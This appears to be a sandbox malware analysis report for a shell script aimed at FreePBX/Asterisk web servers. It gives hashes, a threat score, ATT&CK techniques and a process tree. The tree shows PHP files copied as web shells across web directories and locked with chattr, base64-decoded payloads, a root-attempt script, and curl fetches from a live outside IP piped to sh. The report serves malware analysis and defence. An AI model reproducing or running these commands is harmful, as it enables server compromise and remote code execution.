51ca7d57c890581c88f2058db6237f48f2226779d81ff29a367c1c369a8022d0

Analysis

max time kernel
15s
max time network
18s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
13/09/2026, 17:16

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
3f290712fa2014c1588dab791e490e682b28bac9932f6c984f15faea032a3a84_comment-insertion.sh
Size 857KB
Sample260913-vs9hbaszcx
SHA256 51ca7d57c890581c88f2058db6237f48f2226779d81ff29a367c1c369a8022d0
MD5 743c800547070591577298af0157a734
SHA1 5569e9f4d7853cd528de7d0c51dccd33da6830a0
SHA512 be3fd565b70cf189c2bf33f1d254de25bc4f3b40fdf08cebbfcd9daff97af0b61516cb03c246f686e0a7f4ca1353f278132b5419e96b84907d81e992219a6b4d
SSDEEP 24576:U4Y/f/tir8ZLQbdyUHiw5y3dSkohUv2653DmIfkeD:+/o8ZatHiw5ycMVmKkeD
TLSH
T1EB152308F50B8C28FD8E3D5CD8AEAF9D193451A24745E18B2E563879BD34BDC812A71F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
779	chmod
780	chmod

Deobfuscate/Decode Files or Information 1 TTPs 4 IoCs

Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
794	base64
805	base64
810	base64
734	base64

Reads runtime system information 34 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/filesystems	cp

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/sh-thd.bRi1zA	3f290712fa2014c1588dab791e490e682b28bac9932f6c984f15faea032a3a84_comment-insertion.sh
File opened for modification	/tmp/tryRoot1.sh	3f290712fa2014c1588dab791e490e682b28bac9932f6c984f15faea032a3a84_comment-insertion.sh

/tmp/3f290712fa2014c1588dab791e490e682b28bac9932f6c984f15faea032a3a84_comment-insertion.sh
/tmp/3f290712fa2014c1588dab791e490e682b28bac9932f6c984f15faea032a3a84_comment-insertion.sh
1⤵
- Writes file to tmp directory
PID:724
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:734
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/some.php
  2⤵
  - Reads runtime system information
  PID:737
- /bin/mkdir
  mkdir -p /var/www/html/rest_phones/
  2⤵
  - Reads runtime system information
  PID:740
- /bin/mkdir
  mkdir -p /var/www/html/restiapps/
  2⤵
  - Reads runtime system information
  PID:742
- /bin/mkdir
  mkdir -p /var/www/html/restiapp/
  2⤵
  - Reads runtime system information
  PID:744
- /bin/mkdir
  mkdir -p /var/www/html/phones/
  2⤵
  - Reads runtime system information
  PID:746
- /bin/mkdir
  mkdir -p /var/www/html/digiums/
  2⤵
  - Reads runtime system information
  PID:749
- /bin/mkdir
  mkdir -p /var/www/html/admin/modules/h/
  2⤵
  - Reads runtime system information
  PID:751
- /bin/mkdir
  mkdir -p /var/www/html/admin/modules/fpbxphones/
  2⤵
  - Reads runtime system information
  PID:753
- /bin/mkdir
  mkdir -p /var/www/html/admin/modules/phones/
  2⤵
  - Reads runtime system information
  PID:755
- /bin/mkdir
  mkdir -p /var/www/html/digium_phones/
  2⤵
  - Reads runtime system information
  PID:756
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/some.php
  2⤵
  - Reads runtime system information
  PID:757
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/h/some.php
  2⤵
  - Reads runtime system information
  PID:759
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/fpbxphones/some.php
  2⤵
  - Reads runtime system information
  PID:761
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/phones/some.php
  2⤵
  - Reads runtime system information
  PID:762
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/core/some.php
  2⤵
  - Reads runtime system information
  PID:764
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/rest_phones/some.php
  2⤵
  - Reads runtime system information
  PID:766
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/digiums/some.php
  2⤵
  - Reads runtime system information
  PID:768
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/phones/some.php
  2⤵
  - Reads runtime system information
  PID:769
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/restiapp/some.php
  2⤵
  - Reads runtime system information
  PID:770
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/assets/js/some.php
  2⤵
  - Reads runtime system information
  PID:772
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/assets/some.php
  2⤵
  - Reads runtime system information
  PID:773
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/assets/js/views/some.php
  2⤵
  - Reads runtime system information
  PID:774
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/restiapps/some.php
  2⤵
  - Reads runtime system information
  PID:775
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/digium_phones/some.php
  2⤵
  - Reads runtime system information
  PID:777
- /usr/bin/touch
  touch /var/www/html/admin/views/ajax.php -r /var/www/html/admin/views/footer.php
  2⤵
  PID:778
- /bin/chmod
  chmod +x /var/www/html/admin/views/ajax.php
  2⤵
  - File and Directory Permissions Modification
  PID:779
- /bin/chmod
  chmod +x /var/www/html/admin/views/some.php
  2⤵
  - File and Directory Permissions Modification
  PID:780
- /usr/bin/chattr
  chattr +i /var/www/html/admin/views/ajax.php
  2⤵
  PID:781
- /usr/bin/chattr
  chattr +a /var/www/html/admin/views/ajax.php
  2⤵
  PID:782
- /usr/bin/chattr
  chattr +i /var/www/html/admin/views/some.php
  2⤵
  PID:783
- /usr/bin/chattr
  chattr +a /var/www/html/admin/views/some.php
  2⤵
  PID:784
- /usr/bin/chattr
  chattr +i /var/www/html/some.php
  2⤵
  PID:785
- /usr/bin/chattr
  chattr +a /var/www/html/some.php
  2⤵
  PID:786
- /usr/bin/chattr
  chattr +i /var/www/html/h.php
  2⤵
  PID:787
- /usr/bin/chattr
  chattr +a /var/www/html/h.php
  2⤵
  PID:788
- /bin/sh
  sh
  2⤵
  PID:792
- /usr/bin/curl
  curl http://160.119.69.4/z/post/noroot.php
  2⤵
  - Reads runtime system information
  PID:791
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:794
- /usr/bin/tee
  tee -a /var/spool/asterisk/tmp/tryRoot1.sh
  2⤵
  PID:795
- /bin/bash
  bash /tmp/tryRoot1.sh
  2⤵
  PID:796
- - /bin/ls
    ls -la
    3⤵
    - Reads runtime system information
    PID:799
- - /bin/cat
    cat /etc/passwd
    3⤵
    PID:800
- - /bin/ls
    ls -ls /home
    3⤵
    - Reads runtime system information
    PID:801
- - /bin/mkdir
    mkdir -p /var/www/html/admin/modules/freepbx_ha/
    3⤵
    - Reads runtime system information
    PID:802
- - /bin/mv
    mv /var/www/html/admin/modules/freepbx_ha/license.php /var/www/html/admin/modules/freepbx_ha/license
    3⤵
    - Reads runtime system information
    PID:803
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:805
- - /bin/rm
    rm -f /var/www/html/admin/modules/freepbx_ha/license.php
    3⤵
    PID:806
- - /bin/mv
    mv /var/www/html/admin/modules/freepbx_ha/license /var/www/html/admin/modules/freepbx_ha/license.php
    3⤵
    - Reads runtime system information
    PID:807
- - /bin/ls
    ls -la
    3⤵
    - Reads runtime system information
    PID:808
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:810
- - /bin/ls
    ls -la
    3⤵
    - Reads runtime system information
    PID:811
- - /bin/cat
    cat /etc/passwd
    3⤵
    PID:812
- - /bin/ls
    ls -ls /home
    3⤵
    - Reads runtime system information
    PID:820
- /bin/bash
  bash /var/spool/asterisk/tmp/tryRoot1.sh
  2⤵
  PID:824
- /bin/rm
  rm -rf /tmp/tryRoot1.sh
  2⤵
  PID:827
- /bin/rm
  rm -rf /var/spool/asterisk/tmp/tryRoot1.sh
  2⤵
  PID:828
- /usr/bin/curl
  curl http://160.119.69.4/z/post/noroot.php
  2⤵
  - Reads runtime system information
  PID:829
- /bin/sh
  sh
  2⤵
  PID:830

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

sh-thd.bRi1zA

Path /tmp/sh-thd.bRi1zA
Size 827KB
SHA256 062eff05a848a32e013ee8bb8e109e88e415eec7625c2a4768c6c603e24bde20
MD5 8b23a09b38d5f7e8276a471b055101fd
SHA1 391f2095130ab7fc37d9e1cb4528058b4a06d307
SHA512 373f17f259fc74b22d04b1d24880bd67c04dc1cbd5e99c2b69fd7dd934cef4cd68d3d40174be1f91e9a05eb60d792afed9558b81d91ce35b987db0a009a969c3
SSDEEP 24576:UMOPr9a/8xRaPRwqNwybCRD04ghANIsdJpci7OyC:8e8xyxNwybCacd7cWOyC
TLSH
T1A1052308B51B8C3CED0E3C8CE49AEFDC192520A28B55D1871A6534AE7E747DC847E79E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tryRoot1.sh

Path /tmp/tryRoot1.sh
Size 11KB
SHA256 9ed7c1cdf1cb3851b1641cc586d90356c82db2f52585ede4d6d367a0b8bec02b
MD5 8cb7008cbeb1b579946d1c77139a2ea0
SHA1 eb9fc5af92b42ac9eb9efbb847cbd67284ed19ef
SHA512 d4932397a4ddc7ba9643ca82e1ae852b6a8afc2b15824f90afdf439509e60944a5c5608fd0e8a97ff3cd9c8bd4b48c76db8633e8f787d1e2256c9c6b9dcc94ab
SSDEEP 192:zroaKAtVgmuC13sihwiYPMUroaKAtVgmuC13sihwiYPM8roaKAtVgmuC13sihwi6:zro/AMC1cJlP9ro/AMC1cJlPHro/AMCq
TLSH
T1DF32C783066F3275E2063FAB5CFD1F9C7BEA8B4A34A2692529063D9445DDC0FD470A5C
MD5 SHA1 SHA512 SSDEEP TLSH